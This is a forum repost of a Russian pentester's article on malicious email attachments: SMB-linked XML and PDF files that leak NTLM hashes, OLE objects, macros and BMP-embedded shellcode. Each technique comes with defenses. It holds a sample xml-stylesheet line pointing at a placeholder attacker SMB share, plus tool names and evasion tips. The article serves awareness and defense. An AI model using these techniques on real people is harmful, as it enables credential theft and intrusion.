Открыть нельзя игнорировать

akok

Команда форума
Администратор
Сообщения
15,640
Симпатии
12,679
Баллы
2,203
#1
Моя работа связана с тем, что я вру людям и эксплуатирую их доверчивость, любопытство, жадность и так далее. Работу я свою люблю и стараюсь подходить к ней творчески. Специфика моей деятельности связана с проведением атак методом социальной инженерии. И в этом посте я бы хотела рассказать о вредоносных вложениях.
Если вам на почту свалится PDF, откроете его? А вордовский файл? Станете открывать изображение от неизвестного источника? Можно ли нарваться на неприятности, если скачать архив? Насколько хорошо вы знаете, какие вложения представляют опасность, а какие нет? А что насчет ваших коллег?

За несколько десятков проектов я опробовала совершенно разные способы доставки полезной нагрузки до пользователя. Какие-то были весьма эффективными, какие-то легко обнаруживались – у каждого свои минусы и плюсы. Я не стану рассказывать, как упаковать исполняемые файлы с расширением .exe в архив. С таким старомодным подходом пробиться через системы защиты, а потом еще и заставить пользователя запустить вложение – себе дороже. Я расскажу, какие потенциально опасные файлы реально сегодня получить по почте (или отправить).

Дисклеймер: всё нижеописанное носит исключительно ознакомительный характер. Автор описывает опыт, полученный во время пентестов, не несет ответственности за повтор указанных атак и призывает не использовать материал в незаконных целях.

XML

Суть метода

Большинство Office-файлов основаны на Microsoft Office Open XML (OOXML), который, по сути, представляет собой сжатый XML-формат, разработанный Microsoft для представления таблиц, диаграмм, презентаций и так далее. Причастность к XML отображается в расширении документа (docx, xlsx, pptx). Весьма любопытно, что такие Office-документы можно открыть как обычный текстовый файл со всеми тегами и атрибутами. Любой Office Open XML-файл можно сохранить как XML и внести изменения в теги. Например, добавить ссылку на общедоступную папку, подконтрольную злоумышленнику. При запуске XML файл пытается подключиться к открытой общедоступной папке. При попытке подключения по smb-протоколу Windows любезно предоставляет NTLM-хеш (NTLMv2) и логин пользователя злоумышленнику.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fgetpro%2Fhabr%2Fpost_images%2F08c%2Fd1a%2F28f%2F08cd1a28f9c6ee5699c995d8cf3377e2.png&hash=3deab52417eb9fe0f586f882c90c817f


Реализация в двух словах

Для реализации вектора необходимо создать документ Office Open XML (docx, pptx, xlsx, etc.), сохранить его как XML. Открыть XML и внести следующие изменения:

<?xml-stylesheet type="text/xsl" href="\\xxx.xxx.xxx.xxx\test\swordfish.xsl">

В указанном теге необходимо прописать адрес общедоступной сетевой папки, к которой будет подключаться жертва.

Примечание: вместо ="\\xxx.xxx.xxx.xxx\test\swordfish.xsl можно писать file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl. Далее файл нужно сохранить и отправить жертве.

Информацию об атаке можно найти здесь.

Примечание: в зависимости от операционной системы и настроек пользователю, возможно, придется согласиться с дополнительными условиями или замечаниями, например:

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fgetpro%2Fhabr%2Fpost_images%2F0e3%2F175%2Fb41%2F0e3175b41c0ef9cb1e79c19295710e94.png&hash=dedc092109fc68e5a69c20116ce91a2a


Статья была бы неполной без советов по защите:

  • Используйте политику сложных паролей.
  • Используйте NTLMv2.
  • Запретите внешний трафик по smb (tcp 139/445).

Bad-pdf

Суть метода

В PDF-файл добавляется тег со ссылкой на общедоступный smb-сервер, подконтрольный злоумышленнику. Как и в примере выше, при открытии файла операционная система передает NTLM-хеш (NTLMv2) для подключения к общедоступной папке.

Реализация в двух словах

Реализовать данную атаку значительно проще, чем предыдущую. Для успешной кражи хеша достаточно скачать утилиту (git clone здесь или здесь) и дать права на исполнение (chmod +x) python-файлу. Далее запустить python-скрипт и ввести IP-адрес, название файла и интерфейс, как на рисунке ниже.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fgetpro%2Fhabr%2Fpost_images%2F318%2Fd7c%2Fe30%2F318d7ce30c76b661055d975b8875b597.png&hash=e521bbef5cd3828201f143b5d88a51f2

Генерирование файла с полезной нагрузкой.

Полученный файл можно отправить на почту под видом поздравления, документа на подпись, скана заявления и так далее. При запуске файла все хеши будут отправлены к злоумышленнику.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fgetpro%2Fhabr%2Fpost_images%2F198%2F0d6%2Fdd2%2F1980d6dd2efd24b39c393c31f4b36611.png&hash=72525d133390b658d4bc09e6f91241e8


Защита

  • Используйте политику сложных паролей.
  • Используйте NTLMv2.
  • Запретите внешний трафик по smb (tcp 139/445).

OLE-объект

Суть метода

В легитимный Office-документ встраивается скрипт, запускающийся по клику. Скрипт может быть совершенно любой, обычно это просто полезная нагрузка. Он имеет свою иконку, которую можно менять, в зависимости от желаний атакующего, вплоть до полного копирования стиля Office-документов, имитирующих сообщения об ошибках. В отличие от макросов, файл с OLE-вложением у обычных пользователей пока не вызывает подозрений.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fgetpro%2Fhabr%2Fpost_images%2Fb16%2F113%2F233%2Fb161132334ba58421370c143a9942677.png&hash=a9f6a5ea79333c8235b52cab09ee98a5


Реализация в двух словах

На подготовку к этой атаке придется потратить несколько больше усилий (по сравнению с теми, что выше). Первым делом необходимо сгенерировать полезную нагрузку. Далее нужно запустить сервер, на который будут приходить соединения от payload, после чего создать Word-документ, преобразовать его в RTF и добавить ссылку на полезную нагрузку. Это если кратко.
Информацию об атаке можно найти здесь.

Защита

Для защиты от таких атак рекомендуется внести следующие изменения в реестр:

HKCUSoftwareMicrosoftOffice -> Office Version -> Office application -> SecurityPackagerPrompt

Значение Office Version может быть равно 16.0 (Office 2016); 15.0 (Office 2013); 14.0 (Office 2010); или 12.0 (Office 2007). Значение Office application — это имя конкретного приложения Office, то есть Word, Excel и так далее.

Значение данного раздела реестра должно равняться «2», что будет означать «No prompt, Object does not execute» или фактический запрет на выполнение объектов. Значение «1» разрешает пользователю «Prompt from Office when user clicks, object executes», то есть объекты срабатывают по клику, и Office отображает соответствующее сообщение. Значение «0», в свою очередь, означает «No prompt from Office when user clicks, object executes», другими словами, объекты выполняются, но никаких сообщений от Office пользователь не получает.

Изменения можно внести, если эти функции не используются в бизнес-процессах вашей компании.

Макросы

Раз уж был упомянут OLE, то как же не упомянуть макросы?

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fgetpro%2Fhabr%2Fpost_images%2Fae7%2Fb0b%2F9f7%2Fae7b0b9f78363bd943682230cc391fb8.png&hash=63cc2e90967669cd6a640af3257136a8


Суть метода

Макрос — набор команд, который призван упростить работу пользователя. Потенциально можно записать абсолютно любой набор команд в макрос и таким образом получить полезную нагрузку. Для создания документа с макросом злоумышленнику достаточно обфусцировать код пейлоада и добавить код в макрос документа.

Реализация в двух словах

Способов сгенерировать макрос на данный момент существует великое множество. Можно использовать инструмент Luckystrike или остановиться на более привычном Metasploit. Можно воспользоваться msfvenom и обфусцировать макрос после генерации. Когда макрос создан, все, что нужно сделать – добавить его в Office-документ. Но в отличие от OLE-вложения, для запуска макроса нужно приложить действительно массу усилий. На данный момент очень мало пользователей запустят макросы. Windows уже научилась предупреждать о подозрительных макросах, и разговоров об их опасности было великое множество.

Защита

Для надежности рекомендую отключить исполнение макросов без уведомления.

BMP

Очень маловероятно, что вам когда-нибудь встретится BMP-вложение с шелл-кодом, так что просто знайте: и такие бывают.

Суть метода

Шелл-код встраивается в картинку в BMP-формате. Само по себе изображение в момент открытия никакой опасности не представляет. Суть не в том, чтобы дать злоумышленнику поднять сессию. Картинка нужна, чтобы лежать и ждать часа, когда злоумышленник активирует ее с помощью команды Powershell. Это метод не столько атаки, сколько обхода антивирусов и средств обнаружения вторжения.

Реализация в двух словах

Для создания картинки достаточно использовать данный репозиторий. DKMC предусматривает все, от генерации изображения до обфускации кода. Также хочу обратить внимание, что «зараженное» изображение будет содержать странные разноцветные пиксели. Это легко исправить, если обрезать видимую область изображения на 5-10 пикселей.

После создания изображения файл нужно доставить жертве и ждать подходящего случая или искать возможность запустить powershell-скрипт.

Защита

Отфильтровывать каждый bmp-файл как потенциально опасный неэффективно. Можно использовать конверторы и сохранять изображения в иных форматах, проводить инспекцию файлов на компьютерах или принять тот факт, что если у злоумышленника получилось использовать powershell-сркипт на компьютере работника, то наличие изображения с шелл-кодом не основная проблема безопасности.

Вот, собственно, и всё. Надеюсь, статья расширила ваши представления о вложениях и опасностях, которые они могут нести. Чуть позже поговорим о подозрительных ссылках.

Екатерина Рудая (Caterin), эксперт лаборатории практического анализа защищенности, «Инфосистемы Джет»
habr.com
 
Сверху Снизу